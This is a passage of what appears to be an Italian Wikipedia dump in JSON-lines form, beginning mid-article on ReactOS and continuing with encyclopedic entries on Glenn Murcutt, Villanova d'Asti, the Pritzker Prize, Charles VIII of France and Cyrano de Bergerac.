dell'architettura IA-32 e uno per la piattaforma Xbox sono stati aggiunti nella release 0.2.5 e nel 2005 ci sono gi\u00e0 stati tentativi per portare ReactOS su architetture PowerPC e Xen, e il supporto per l'ARM \u00e8 in lavorazione.\nRequisiti minimi di sistema.\nI requisiti minimi per avviare ReactOS, nel caso lo si voglia testare su hardware reale, sono:\nLe funzionalit\u00e0 di rete attualmente supportate di \"default\" \u00e8 coi seguenti tipi di schede:\nAccoglienza e critica.\nDiverse persone hanno riconosciuto in ReactOS la possibilit\u00e0 di essere una vera alternativa open-source a Microsoft Windows; nella sua rubrica di Free Software Magazine, David Sugar ha notato che ReactOS potrebbe consentire l'uso di applicazioni di versioni vecchie di Windows, le cui API sono state eliminate, come pure la sua capacit\u00e0 di ampliare la base totale installata di software libero nelle case. Ha anche osservato come ReactOS costituisca una risorsa per gli sviluppatori che desiderano conoscere le API di Windows che vengono documentate nel corso della scrittura di applicazioni portatili. Viktor Alksnis ha anche incontrato l'attuale coordinatore del progetto Aleksey Bragin, che ha mostrato una presentazione e dimostrazione del progetto, mostrando ReactOS in esecuzione con Total Commander e Mozilla Firefox.\nJohn C. Dvorak di PC Magazine Columnist ha osservato come l'architettura di Windows NT sia rimasta sostanzialmente la stessa che abbiamo oggi, il che rende il kernel un candidato ideale per la clonazione, e ritiene che ReactOS potrebbe essere \"una minaccia pi\u00f9 grande di Linux al dominio di Microsoft\". Infatti Aleksey Bragin ha dichiarato, in un commento al settimanale tedesco Der Spiegel, che ReactOS \u00e8 rivolto agli utenti Windows che vogliono rinunciare all'uso di software proprietario commerciale senza dover passare a Linux.\nRapporti con altri progetti.\nWine.\nReactOS utilizza porzioni di codice del progetto Wine e i suoi sviluppatori lavorano a stretto contatto in modo da poter beneficiare dei progressi nell'implementazione delle API Win32. Solo NTDLL, USER32, KERNEL32, GDI32, e ADVAPI del progetto Wine non sono usati da ReactOS, per via delle differenze di architettura. La restante parte delle DLL di Wine vengono condivise dai due progetti. Entrambi si incentrano su problemi di compatibilit\u00e0, in modo che anche le poche DLL restanti possano essere usate da ReactOS.\nSamba TNG.\nUn altro progetto collegato \u00e8 Samba TNG che implementa dozzine di servizi, quali LSASS, SAM, NETLOGON, SPOOLSS, chiave del successo e della interoperabilit\u00e0 del progetto ReactOS. Il disegno architetturale di Samba e i relativi obiettivi rendono difficile considerarne una integrazione in ReactOS, dato che l'approccio stratificato e modulare di Samba TNG lo rendono appetibile per considerare il porting di ogni servizio in ReactOS.\nNDISwrapper.\nNdiswrapper \u00e8 un altro progetto correlato che mira a ricreare parzialmente il kernel di Windows NT dentro il kernel Linux in modo da avviare i driver creati per Windows in un Linux Box. NDISWrapper include le Api NTOSKRNL oltre a un semplice controller Windows Driver Model.\nLongene.\nUn progetto correlato, ma che risulta distante dagli obiettivi di ReactOS, \u00e8 Longene (Linux Unified Kernel), che intende divenire compatibile con i driver e le applicazioni realizzati sia per Microsoft Windows sia per Linux. Si tratta di una versione modificata del kernel Linux che cerca di includere le funzioni chiave dei sistemi operativi Windows e per questo utilizza codice proveniente sia da ReactOS sia da Wine e NDISWrapper.\nVersioni derivate.\nSono state create occasionalmente alcuni derivati di ReactOS:\nCronologia delle versioni.\n\"Per ottenere maggiori informazioni riguardo alle versioni di ReactOS e alle novit\u00e0 introdotte in esse, \u00e8 possibile consultare il sito del progetto.\""}
{"id": "26709", "revid": "1371684", "url": "https://it.wikipedia.org/wiki?curid=26709", "title": "Puntatore", "text": ""}
{"id": "26720", "revid": "834", "url": "https://it.wikipedia.org/wiki?curid=26720", "title": "Flann O'Brian", "text": ""}
{"id": "26723", "revid": "1318658", "url": "https://it.wikipedia.org/wiki?curid=26723", "title": "Glenn Murcutt", "text": "Ha studiato architettura dal 1956 al 1960 all'universit\u00e0 del Nuovo Galles del Sud. Lavora in Australia, dove elabora costruzioni ecologiche in armonia col clima e col paesaggio utilizzando materiali \"semplici\" (metallo, legno, vetro, laterizio). Murcutt chiama questo il funzionalismo ecologico.\nComincia la sua carriera collaborando nello studio di Ancher, Mortlock, Murray &amp; Wooley a Sydney. Nel 1969 apre il proprio studio di architettura dove lavora da solo, senza nessun collaboratore. Ha costruito circa 500 case private, e qualche museo e centro culturale, tutti in Australia.\nNel 2002 ha ricevuto il Premio Pritzker. \u00c8 il primo architetto australiano a ricevere questo premio."}
{"id": "26724", "revid": "125410389", "url": "https://it.wikipedia.org/wiki?curid=26724", "title": "Villanova d'Asti", "text": "Villanova d'Asti (\"Vilaneuva d'Ast\" in piemontese) \u00e8 un comune italiano di abitanti della provincia di Asti, situato pressappoco al centro del Piemonte.\nStoria.\nLa sua fondazione risale all'anno 1248, come risulta da precisi documenti dell'archivio astigiano. Fin da epoca romana \u00e8 attestata comunque la presenza di agglomerati (Brassicarda) dovuti probabilmente a veterani cui venivano assegnati appezzamenti. Verso Poirino, attorno a ruderi longobardi detti \"corte vecchia\" ovvero Corveglia, nel 1001 l'imperatore Ottone III don\u00f2 alle monache benedettine pavesi di San Felice alcuni terreni e nel XIII secolo proprio a Corveglia si stabilirono i canonici agostiniani che, all'inizio del XIV secolo, ne arricchirono le sale di colonne e capitelli scolpiti. Nel 1340 i religiosi, indebitatisi, dovettero abbandonare l'edificio che solo ora \u00e8 stato riportato agli antichi splendori.\nIl territorio circostante Villanova, da Valfenera a San Paolo, fu teatro di aspri scontri tra francesi e spagnoli nel secolo XVII, ma le possenti mura \"a stella\" la protessero sempre. Nel 1690 rischi\u00f2 il saccheggio da parte delle truppe del generale Nicolas de Catinat de La Fauconnerie allorquando Casa Savoia rovesci\u00f2 le alleanze entrando nella Lega di Augusta a fianco degli Imperiali. Dopo che fu fatto voto solenne alla Madonna i francesi, famigerati per crudelt\u00e0 e gi\u00e0 presenti nella cittadina normalmente imprendibile, la lasciarono, dovendo improvvisamente accorrere altrove, senza danneggiarla in alcun modo nonostante il rifiuto di Torino di pagare il riscatto richiesto.\nAncor oggi, per adempiere al voto, il sindaco partecipa solennemente alla messa dell'Immacolata Concezione nella chiesa di San Martino e per tradizione prende la parola dopo la lettura del Vangelo. Una lapide, presente sulle mura dell'antico convento in via Roma, succintamente racconta questi straordinari eventi: l'imprendibile Villanova, gi\u00e0 occupata da soldataglia pronta a scatenarsi, lasciata indenne da quel medesimo generale che invece mise a ferro e fuoco le campagne, incendi\u00f2 la vicina Poirino e fece saccheggiare Ceresole.\nDopo il fallimento dell'assedio di Torino voluto dal Re Sole nel 1706 e dopo che il trattato di Utrecht del 1713 assicur\u00f2 a Vittorio Amedeo di Savoia la corona di Sicilia, Villanova godette finalmente di lunga tranquillit\u00e0.\nIn seguito agli eventi che spinsero i Savoia a rifugiarsi in Sardegna protetti dalla flotta inglese, il Piemonte fino al fiume Sesia fu annesso alla Francia l'11 settembre 1802 (24 Fruttidoro, anno X). Villanova, fino al 1814, fu inclusa nel \"D\u00e9partement de Marengo\", \"Deuxi\u00e8me arrondissement (Asti)\". I giovani piemontesi si batterono con coraggio per la patria a fianco degli altri cittadini francesi, soprattutto nella sfortunata campagna di Russia dove il poirinese Domenico Mazzucchi si guadagn\u00f2 alla Moscova la croce di guerra.\nSimboli.\nStemma e gonfalone comunali sono stati concessi con Decreto della Presidenza del Consiglio dei Ministri del 10 settembre 1982.\nMonumenti e luoghi d'interesse.\nLe chiese principali sono San Pietro, Sant'Isidoro (patrono), San Martino. Quest'ultima inizialmente fu dalle suore pavesi dedicata a San Felice; custodisce una statua della Madonna del Clementi, uno splendido altare ligneo (\"delle anime nere\"), l'altar maggiore di Carlo Pellagata (1777), un Macrino d'Alba, due opere del Moncalvo oltre ad un Cristo battezzato da San Giovanni Battista alla presenza dei Santi Pietro, Andrea ed angeli e, nella medesima cappella, una rappresentazione di Villanova protetta dai santi Sebastiano e Rocco posta sopra un altare il cui marmo mostra San Martino. Quasi di fronte \u00e8 sita una caratteristica dimora in mattoni a vista, casa Baldissera, classico esempio di Settecento piemontese. \nDi particolare interesse per chi visita questa citt\u00e0 \u00e8 il Santuario della Beata Vergine delle Grazie edificato ove, in epoca napoleonica, si manifest\u00f2 la Madre di Dio. Nel suo viale, l'ultima domenica di luglio, viene realizzata l\"Infiorata\": tappeti raffiguranti immagini religiose creati con petali di fiori.\nAmorevolmente restaurato nei suoi affreschi settecenteschi, il tempio che appartenne \"alla confraternita dei Bat\u00f9\", ospita conferenze, dibattiti culturali, concerti. Si trova presso la quattrocentesca Torre comunale alta 26 metri di piazza Supponito.\nImponente \u00e8 l'antico convento di San Francesco d'Assisi (crollato ma subito riedificato nella seconda met\u00e0 del Cinquecento) sito all'incrocio tra la contrada del Corpus Domini e la Strada reale di Piacenza (in seguito denominata via Maestra, oggi Roma). Abitato da un esponente dell'antica famiglia savoiarda dei Richetta (riches \u00e9taient) dal 1806, in quanto funzionario governativo mentre Villanova era compresa nell'Impero Francese, \u00e8 attualmente propriet\u00e0 dei De Robertis.\nIn via Roma, mentre \u00e8 scomparso il San Marco, sono tuttora situati due piccoli alberghi gi\u00e0 presenti nel XIX secolo, il Muletto e il Cannon d'oro; quest'ultimo in particolare viene gestito dalla medesima famiglia fin da epoca napoleonica. \nL'abbazia di Corveglia, oggi propriet\u00e0 Brossa ed adibita ad agriturismo, importante testimonianza di architettura medievale, si trova invece sulla statale in direzione di Carmagnola proseguendo lungo la quale, a ridosso del confine con Poirino, si pu\u00f2 ammirare il viale alberato che porta alla tenuta Banna, propriet\u00e0 del marchese Spinola, sede della Fondazione Spinola Banna volta ad incoraggiare l'opera di giovani artisti, specialmente in campo musicale. Il palazzo comunale, edificio neoclassico concepito nelle forme di una villa palladiana, \u00e8 opera dell'architetto Giuseppe Frizzi.\nCultura.\nEventi.\nIl santo protettore del paese \u00e8 sant'Isidoro, che viene festeggiato la prima domenica di settembre con la particolare benedizione dei buoi e l'incanto del cappello per la recitazione di strambotti dialettali dopo la messa.\nEconomia.\nSin dalla fondazione il fertile territorio circostante favor\u00ec l'agricoltura. Quasi assente la vite, danno invece ottima resa i cereali.\nA Villanova si alleva ancor oggi \"la bionda\", ossia la gallina conosciuta anche come \"nostralina\" o \"rossa delle crivelle\",un tempo diffusa sulle terre fedeli ai Savoia; la gallina bianca era invece allevata dai sudditi dei marchesi di Saluzzo.\nLa presenza del casello autostradale, sulla direttrice Torino-Alessandria, la stazione ferroviaria a pochi chilometri ed una ampia pianura intorno hanno permesso a Villanova di diventare negli ultimi decenni il terzo polo industriale della provincia, dopo il capoluogo e Canelli. \nDi rilievo sono la RFT (gruppo SKF), la Util Industries, la Fornace Ballatore, la BASF, la Dierre Porte, della famiglia De Robertis, fondata grazie al ministro Goria e la BCUBE che si occupa di trasporti e logistica integrata, il Centro Ricerche del Cornaglia Group.\nLa cittadina villanovese sta sviluppando anche un buon polo sportivo con la rinascita, qualche anno fa, della societ\u00e0 \"Polisportiva Mezzaluna\". La denominazione deriva dall'omonimo bastione (mezzaluna dolce) delle mura a forma di stella che, fino all'epoca napoleonica, difendevano la citt\u00e0, splendidamente e fedelmente riprodotte in tutti i particolari in quella pagina del \"Theatrum Sabaudiae\" (XVII secolo) che in Municipio adorna lo studio del sindaco.\nAmministrazione.\nDi seguito \u00e8 presentata una tabella relativa alle amministrazioni che si sono succedute in questo comune.\nGemellaggi.\nVillanova d'Asti \u00e8 gemellato con:\nIl gemellaggio con la cittadina francese Ch\u00e2teaurenard de Provence, nato come naturale prosecuzione degli scambi culturali fra la Scuola Media \"Astesano\" e il Coll\u00e8ge \"Roquecoquilles\", ha festeggiato i suoi 20 anni con una grande festa tenutasi a Ch\u00e2teaurenard alla quale ha partecipato una delegazione di una settantina di villanovesi ospitati da trentacinque famiglie francesi.\nIl 5 settembre, infatti, \u00e8 stato ufficialmente siglato il gemellaggio tra le due cittadine, in quanto molti villanovesi nel corso della prima met\u00e0 del secolo scorso, emigrarono e partirono alla volta dell'America in cerca di fortuna e benessere oltre oceano. Tuttora nel paese sudamericano, ne risiedono una trentina di questi; alla cerimonia solenne tenutasi nel centro storico del piccolo comune, ha presenziato anche l'attuale ambasciatore argentino in Italia, Torcuato di Tella.\nInfrastrutture e trasporti.\nIl comune \u00e8 servito dal casello autostradale di Villanova d'Asti, posto sull'autostrada A21, e dalla stazione ferroviaria, servita dalla linea SFM 6 (Torino-Asti)."}
{"id": "26727", "revid": "196227", "url": "https://it.wikipedia.org/wiki?curid=26727", "title": "Premio Pritzker", "text": "Il Pritzker Architecture Prize \"viene assegnato ogni anno per onorare annualmente un architetto vivente le cui opere realizzate dimostrano una combinazione di talento, visione e impegno, e che ha prodotto contributi consistenti e significativi all'umanit\u00e0 e all'ambiente costruito attraverso l'arte dell'architettura.\" \nNato nel 1979 per volont\u00e0 di Jay Pritzker e di sua moglie Cindy, il premio \u00e8 sostenuto dalla famiglia Pritzker, sponsorizzato dalla Hyatt Foundation ed \u00e8 considerato uno dei principali premi per l'architettura nel mondo; \u00e8 spesso citato come il Premio Nobel per l'architettura. I vincitori ricevono 100.000 US$, un attestato e, dal 1987, una medaglia di bronzo. I disegni sulla medaglia sono ispirati al lavoro dell'architetto Louis Sullivan, mentre l'iscrizione inglese, \"firmness, commodity, delight\", sul verso della medaglia richiama i tre principi dell'architettura secondo l'architetto dell'antica Roma Vitruvio: \"firmitas, utilitas, venustas\". Prima del 1987, una scultura ad edizione limitata dello scultore Henry Moore accompagnava il premio in denaro.\nElenco dei premiati.\nIl primo architetto insignito del Pritzker Prize \u00e8 stato Philip Johnson. L'anglo-irachena Zaha Hadid \u00e8 stata la prima donna ad aggiudicarsi il premio. Ry\u016be Nishizawa nel 2010, all'et\u00e0 di 44 anni, \u00e8 stato il pi\u00f9 giovane tra i vincitori."}
{"id": "26730", "revid": "1634976", "url": "https://it.wikipedia.org/wiki?curid=26730", "title": "Carlo VIII di Francia", "text": "La sua fallimentare discesa in Italia nel 1494, in passato conosciuta come \"la calata di Carlo\", inaugur\u00f2 le cosiddette guerre d'Italia (definite \"orrende\" da Machiavelli): una lunga serie di otto conflitti con cui le grandi potenze europee si disputarono il controllo della penisola, terminata solo nel 1559 con la Pace di Cateau-Cambr\u00e9sis, che mut\u00f2 profondamente la geografia politica dell'Italia.\nBiografia.\nLa politica interna.\nCarlo VIII nacque in Francia, ad Amboise. Quando il 30 agosto 1483 re Luigi XI mor\u00ec, essendo l'unico dei suoi figli maschi ancora in vita, ne eredit\u00f2 il trono. \nAmbizioso, di salute cagionevole, considerato dai contemporanei di indole gradevole, ma privo di grande intelligenza politica e non adatto agli affari di Stato, dai tredici ai ventun anni Carlo govern\u00f2 sotto la reggenza della sorella maggiore, la principessa Anna di Beaujeu, e del marito di lei, il cognato Piero di Borbone.\nCarlo VIII indirizz\u00f2 la sua politica a consolidare ed estendere il territorio del regno. Ottenne per vie diverse l'annessione degli ultimi due grandi ducati che godevano ancora di una forte autonomia rispetto alla corona francese: il Ducato di Angi\u00f2 (comprendente l'Anjou e la Provenza), tramite un complesso meccanismo ereditario, e il Ducato di Bretagna, tramite il matrimonio, celebrato il 6 dicembre 1491, con l'erede, la duchessa Anna di Bretagna, in un'elaborata cerimonia a Ch\u00e2teau Langeais. Con il matrimonio Carlo VIII si liber\u00f2 della reggenza della sorella e dell'influenza dei parenti: da allora pot\u00e9 gestire gli affari di Stato secondo le sue intenzioni.\nA corte ci fu anche una vivace vita culturale: tra i poeti spicca la figura dell'umanista italiano Publio Fausto Andrelini. Con il trattato di \u00c9taples del 1492, e con quello di Barcellona del 1493, Carlo normalizz\u00f2 i rapporti con Inghilterra e Regno di Aragona, sebbene al prezzo di onerose concessioni. Sempre nel 1493, con il Trattato di Senlis, pose fine alla guerra con il Sacro Romano Impero per la successione al trono di Borgogna, riuscendo a mantenerlo al prezzo della rinuncia alla Franca Contea, all'Artois e a parte delle Fiandre, ed annessa definitivamente nel 1497.\nLa marcia su Napoli.\nPacificati i rapporti con le potenze europee, Carlo, che vantava attraverso la nonna paterna Maria d'Angi\u00f2 (1404-1463) un lontano diritto ereditario alla corona del Regno di Napoli, indirizz\u00f2 le risorse della Francia verso la riconquista di quel reame. Ad incoraggiarlo nell'impresa fu soprattutto Ludovico Sforza, detto \"Il Moro\" (che ancora non era duca di Milano, ma ne era solo reggente), per vendicarsi di Alfonso II, suo cognato e re di Napoli che, appena salito al trono, gli aveva dichiarato guerra, invadendo come primo atto di ostilit\u00e0 la citt\u00e0 di Bari, di cui Ludovico era duca. Anche i suoi consiglieri, Guillaume Bri\u00e7onnet e \u00c9tienne de Vesc, lo sollecitarono fortemente nell'impresa.\nLa riconquista del Sud della Penisola, gi\u00e0 governato dalla Casata degli Angioini durante il secolo XIII, non comprendeva, nei progetti, anche la Sicilia. Quest'ultima circostanza depone a favore della tesi secondo la quale Carlo VIII non intendeva accrescere semplicemente i domini della sua Casata, ambizione comune a molte case regnanti di area mitteleuropea o anglosassone, ma farne piuttosto la base di partenza per quelle Crociate la cui eco era rinvigorita dalla cacciata degli arabi dall'ultimo possedimento spagnolo, il Regno di Granada (1492), avvenuta proprio in quegli anni. Il progetto politico della \"Res Publica Christiana Pro Recuperanda Terra Sancta\" aveva ancora presa nelle classi dirigenti europee nonostante la fine rovinosa cui erano andati incontro sia i fautori di quel progetto, sia coloro che intesero realizzarlo ben prima, intorno alla met\u00e0 del Duecento.\nCarlo discese in Italia il 3 settembre 1494 con un esercito di circa effettivi dei quali erano mercenari svizzeri, dotato di un'artiglieria leggera moderna. Venne accolto festosamente dai duchi di Savoia. Il suo esercito si accamp\u00f2 ad Asti, dove Carlo VIII ricevette l'omaggio dei suoi sostenitori: Margarita d\u00e8 Solari, fanciulla di undici anni (nel 1495 gli dedicher\u00e0 Les Louanges du Mariage), alloggiando nel Palazzo del padre in Asti ne ascolter\u00e0 le odi; il cardinale Giuliano della Rovere, Ludovico Sforza con la moglie Beatrice d'Este ed Ercole d'Este, duca di Ferrara. A Pavia conobbe Gian Galeazzo Sforza e sua moglie Isabella d'Aragona. Isabella ne approfitt\u00f2 per scongiurarlo di proteggere la sua famiglia dalle mire di Ludovico Sforza. Tuttavia, un mese dopo questo incontro, il marito Gian Galeazzo Sforza mor\u00ec, probabilmente avvelenato, e Ludovico il Moro divenne signore di Milano con il benestare dei francesi.\nCarlo, dapprima intenzionato a percorrere la via Emilia fino alla Romagna, ne venne dissuaso da atteggiamenti bellicosi di Caterina Sforza, signora di Forl\u00ec e Imola. Cos\u00ec, dopo una tappa a Piacenza, si diresse verso Firenze. La citt\u00e0 era tradizionalmente filofrancese, ma la politica incerta del suo signore, Piero di Lorenzo de' Medici, figlio di Lorenzo il Magnifico, l'aveva schierata in difesa degli Aragonesi di Napoli. Il pericolo incombente dei saccheggi e delle violenze dell'esercito francese (enfatizzato da una violenta predica di Girolamo Savonarola) accentu\u00f2 il rancore della maggior parte dei cittadini contro i Medici.\nCarlo VIII entr\u00f2 il 29 ottobre a Fivizzano, saccheggiandola, e pose l'assedio alla rocca di Sarzanello, chiedendo che gli fosse lasciato il passo per Firenze. Piero, mutato consiglio, all'insaputa della citt\u00e0, gli concesse pi\u00f9 di quanto chiedesse: le fortezze di Sarzanello, di Sarzana e di Pietrasanta, le citt\u00e0 di Pisa e di Livorno e via libera per Firenze. \n&lt;br&gt;Tornato a Firenze l'8 novembre, Piero ne fu immediatamente cacciato dai fiorentini, che considerarono il suo atteggiamento vile e servile, e proclamarono la Repubblica. Allo stesso tempo i fiorentini agevolarono l'invasione di Carlo VIII, considerandolo restauratore della loro libert\u00e0 e riformatore della Chiesa, il cui Papa Alessandro VI (Rodrigo Borgia) era considerato indegno dal Savonarola.\nCarlo VIII per\u00f2, timoroso di inimicarsi le potenze europee, non intendeva deporre il Borgia dal papato. Marci\u00f2 verso Roma e prese dapprima Civitavecchia. Il 31 dicembre 1494, approfittando di una coincidenza fortunata, ottenne dal papa l'ingresso pacifico nella Citt\u00e0 Eterna. L'accordo non risparmi\u00f2 Roma dai saccheggi delle truppe francesi. Per evitarne un'ulteriore permanenza in citt\u00e0, il 6 gennaio 1495 Alessandro VI accolse Carlo VIII e ne autorizz\u00f2 il passaggio negli Stati pontifici verso Napoli, affiancandogli come cardinale legato il figlio Cesare Borgia.\nCarlo VIII assedi\u00f2 Tuscania (Viterbo), distruggendone due terzieri e uccidendone 800 abitanti, ed espugn\u00f2 poi il castello di Monte San Giovanni Campano (all'epoca Monte San Giovanni) trucidando 700 abitanti - Il Re in persona guid\u00f2 l'assalto alla fortezza-\nIl 22 febbraio occup\u00f2 Napoli praticamente senza combattere: il re Ferdinando II, detto Ferrandino, era gi\u00e0 fuggito con tutta la corte in vista di una futura resistenza. Incoronato re di Napoli, vi stette fino a maggio quando il popolo e le armate napoletane, al grido di \"ferro! ferro!\", nuovamente rinvigorite sotto le insegne aragonesi del giovane re Ferrandino, riuscirono a scacciare i francesi dal Regno.\nLa rapidit\u00e0 e la facilit\u00e0 con cui Carlo VIII aveva raggiunto Napoli e la posizione di dominio in Europa che gli derivava dall'unione delle corone di Francia e di Napoli suscitarono la formazione di una Lega antifrancese, composta da Venezia, Impero, Papato, Milano e Spagna. Carlo VIII comprese che era tempo di ritirarsi in Francia e cerc\u00f2 di valicare l'Appennino. Il 6 luglio 1495 trov\u00f2 l'esercito della lega degli stati italiani a sbarrargli la strada nella Battaglia di Fornovo. Carlo ne usc\u00ec sconfitto, ma riusc\u00ec a riparare in Francia, come era suo scopo.\nI suoi atti sono ricordati da letterati italiani come Giorgio Summaripa ed anche nel romanzo storico di Luigi Gramegna \"La sibilla del re\".\nIl ritorno in Francia e la morte.\nNegli anni successivi Carlo VIII tent\u00f2 di ricostituire il suo esercito, ma senza successo, a causa dei grandi debiti contratti per la spedizione precedente.\nMor\u00ec a 27 anni, il 7 aprile 1498, per un incidente nel castello di Amboise: batt\u00e9 la testa contro l'architrave in pietra di una porta, mentre, a cavallo, si recava ad assistere a una gara di jeu de paume; nel giro di due ore entr\u00f2 in coma e mor\u00ec per emorragia cerebrale.\nCarlo VIII fu l'ultimo esponente del ramo regale della dinastia Valois, detto \"dei Valois diretti\". Alla sua morte il trono pass\u00f2 al cugino, il Duca d'Orl\u00e9ans Luigi II di Valois-Orl\u00e9ans, che regn\u00f2 come Luigi XII di Francia. Al suo successore Carlo VIII trasmise in eredit\u00e0 una Francia immersa nei debiti e nel disordine, risultato di un'ambizione definita, nella forma pi\u00f9 benevola, irrealistica. Eppure la sua spedizione port\u00f2 a contatti tra gli umanisti italiani e francesi, dando vigore alle arti ed alle lettere francesi nel tardo Rinascimento.\nDiscendenza.\nDa Anna di Bretagna Carlo ebbe quattro figli, morti tutti bambini:"}
{"id": "26738", "revid": "125404925", "url": "https://it.wikipedia.org/wiki?curid=26738", "title": "Savinien Cyrano de Bergerac", "text": "La sua figura ha ispirato la celebre opera teatrale \"Cyrano de Bergerac\" di Edmond Rostand del 1897. Grazie ai suoi romanzi fantastici \u00e8 oggi considerato uno dei precursori della letteratura fantascientifica, ma soprattutto \u00e8 stato uno dei principali esponenti del libertinismo filosofico francese. Il suo nome completo era Hercule Savinien de Cyrano de Bergerac (\"Cyrano\" era in realt\u00e0 il cognome e non il nome), italianizzato da in passato come Ercole Savignano.\nBiografia.\nNato intorno al 6 marzo 1619, dotato di un temperamento bizzarro e fantasioso, discendeva da un'antica famiglia parigina di piccola nobilt\u00e0. Trascorse la maggior parte della sua infanzia a Saint-Forget (ora Yvelines). Dopo cinque anni di studi presso un curato a Mauvi\u00e8res fu a Parigi nel collegio di Presles-Beauvais. Dato che la nativa patria di Mauvi\u00e8res portava anche il nome di Bergerac, per via di un'antica famiglia di guasconi che l'aveva posseduta durante il XV e XVI secolo, uscito dal collegio ormai diciottenne decise di assumere il nome di Cyrano de Bergerac. Non era guascone, come lo furono invece molti dei suoi compagni d'arme, e probabilmente il mito delle sue origini guascone fu coltivato da lui stesso in vita, dato che l'irruenza dei soldati guasconi era allora ammirata.\nStabilitosi a Parigi, ebbe modo di leggere le opere di filosofi e artisti in odore di eresia come Campanella, e ancora il Moro, il Castiglione e Luciano, che costituirono anche la base e l'ispirazione delle sue opere fantastiche.\nIl primo duello lo ebbe all'et\u00e0 di venti anni; il gusto rimastogli da questa esperienza, uniti al suo carattere incline all'avventura e alla perdita della pensione paterna, gli fecero maturare l'idea di entrare come cadetto nella compagnia delle Guardie. Nel 1639 fu di guarnigione a Mauzon e nel 1640 partecip\u00f2 all'assedio di Arras, dove si rese celebre per la spavalderia e i numerosi duelli. Sempre ad Arras sub\u00ec due ferite, una al collo ed una alla guancia.\nLasciato l'esercito, si dedic\u00f2 quindi alla letteratura, entrando nel collegio di Lisieux e frequentando l'ambiente mondano parigino dei libertini, dove conobbe Moli\u00e8re e Gassendi. La fama di Cyrano esplose per\u00f2 in tutta Parigi quando si sparse la voce che, insieme al cavaliere Lignieres, aveva costretto alla ritirata tutti gli uomini del conte de Guinche, lasciando sul campo due morti e sette feriti.\nColpito non ancora ventiseienne dal mal francese e costretto di conseguenza ad abbandonare ogni furore bellico, si ributt\u00f2 sugli studi ed ebbe modo di leggere Galileo, Niccol\u00f2 Copernico e Pierre Gassendi. Fiaccato nel corpo, non smise di lottare con le parole e si lanci\u00f2 nelle lotte della \"Fronda\", prima aggredendo il potente cardinale Mazzarino con le sue \"Mazarinades\", poi difendendolo dai frondisti. A 33 anni, malato, solo e in cattive condizioni economiche, si mise sotto la protezione del duca di Arpajon.\nMor\u00ec a soli 36 anni, nel 1655, a Sannois, in casa di un cugino, per le gravi ferite riportate non durante un duello, bens\u00ec in seguito alla caduta di una trave.\nCyrano De Bergerac fu uno dei pi\u00f9 estrosi scrittori del Seicento francese, una personalit\u00e0 veramente eclettica: fu romanziere, drammaturgo, autore satirico, epistolografo, prima di morire scrisse persino i primi capitoli di un \"Trattato di fisica\". Fu un libertino, quando ancora quel termine stava piuttosto a indicare un'avanguardia culturale, una nuova filosofia di vita.\n\"La morte di Agrippina\", rappresentata all'Hotel de Bourgogne, fece molto scandalo per la brutale irriverenza verso le cose sacre e si concluse con un insuccesso. La commedia \"Le P\u00e9dant jou\u00e9\" venne saccheggiata da Moli\u00e8re nelle opere \"Fourberies de Scapin\", \"Don Giovanni\" e \"L'avaro\".\nLa sua \u00e8 stata una figura dibattuta e assai controversa: \u00e8 stato considerato alternativamente un martire del libero pensiero (Paul Lacroix), uno scienziato incompreso (Pierre Juppont), un libertino senz'arte n\u00e9 parte (Fr\u00e9d\u00e9ric Lach\u00e8vre), un razionalista militante (Weber) e perfino un alchimista e un iniziato (Eug\u00e8ne Canseliet).\nOpere.\nLe \"Lettere\".\nLe sue \"Lettere\" (\"Lettres\", 1654), come era consuetudine del tempo, prescindono da riferimenti personali e biografici e costituiscono uno degli esempi pi\u00f9 notevoli di prosa barocchista francese:\nI romanzi fantastici.\nLe opere pi\u00f9 importanti di Cyrano de Bergerac sono considerati i suoi romanzi fantastici, ritenuti precursori dell'odierna fantascienza: \"L'altro mondo o Gli stati e gli imperi della luna\" (\"L'autre monde ou Les \u00e8tats et empires de la lune\", pubblicato postumo nel 1657), probabilmente il suo capolavoro, e \"Gli stati e imperi del sole\" (\"Les \u00e8tats et empires du soleil\", pubblicato postumo nel 1662). Si tratta di racconti fantastici, estremamente vivaci. Il racconto, nella pi\u00f9 tipica e schietta prosa barocchista, \u00e8 quello di un viaggio meraviglioso, realistico e poetico, nei paesi della Luna e del Sole. \u00c8 un pretesto per l'esposizione di ardite teorie filosofiche, scientifiche e religiose: il movimento della terra, l'eternit\u00e0 e l'infinit\u00e0 dei mondi, la costituzione atomica dei corpi, i principi fisici dell'aerostato ecc.\nLe conoscenze di alchimista (abilmente celate nei suoi romanzi) furono assai stimate da importanti studiosi dell'Ermetismo quali Fulcanelli e Eug\u00e8ne Canseliet.\n\"L'altro mondo o Gli stati e gli imperi della luna\".\nRientrato in casa dopo una passeggiata al chiaro di luna in compagnia di amici, l'autore si mette intorno al corpo una cintura fatta di ampolle piene d'acqua di rugiada la quale, evaporando attratta dal sole, lo solleva sino a farlo arrivare nella Nouvelle France (il Canada); dopo questa prima esperienza di volo, utilizzando una sorta di razzo arriva fino alla Luna. Sulla Luna Cyrano rimarr\u00e0 poco, poich\u00e9 gli abitanti lo scambiano per uno struzzo e lo mettono in un'uccelliera, e molti gli sono avversi; ha per\u00f2 modo di conoscere quello strano paese e di ascoltare qualcuno (il Demone di Socrate) che glielo descrive e glielo spiega: sulla Luna un solo colpo di archibugio fa cadere un intero stormo di allodole bell'e arrostite; i versi delle poesie valgono come moneta per pagare gli osti; non c'\u00e8 bisogno di orologi: tutti gli abitanti hanno una larga dentatura e un lungo naso, cos\u00ec quando vogliono sapere l'ora aprono la bocca ed espongono al sole il naso, il quale fa ombra sui denti come sul quadrante di una meridiana.\nIl Premio Cyrano.\nL'organizzazione del Premio Rosny, riconoscimento della fantascienza in lingua francese, ha deciso di istituire nel 2004 il \"Premio Cyrano\" alla carriera, che nella sua prima edizione \u00e8 stato assegnato a Robert Sheckley."}
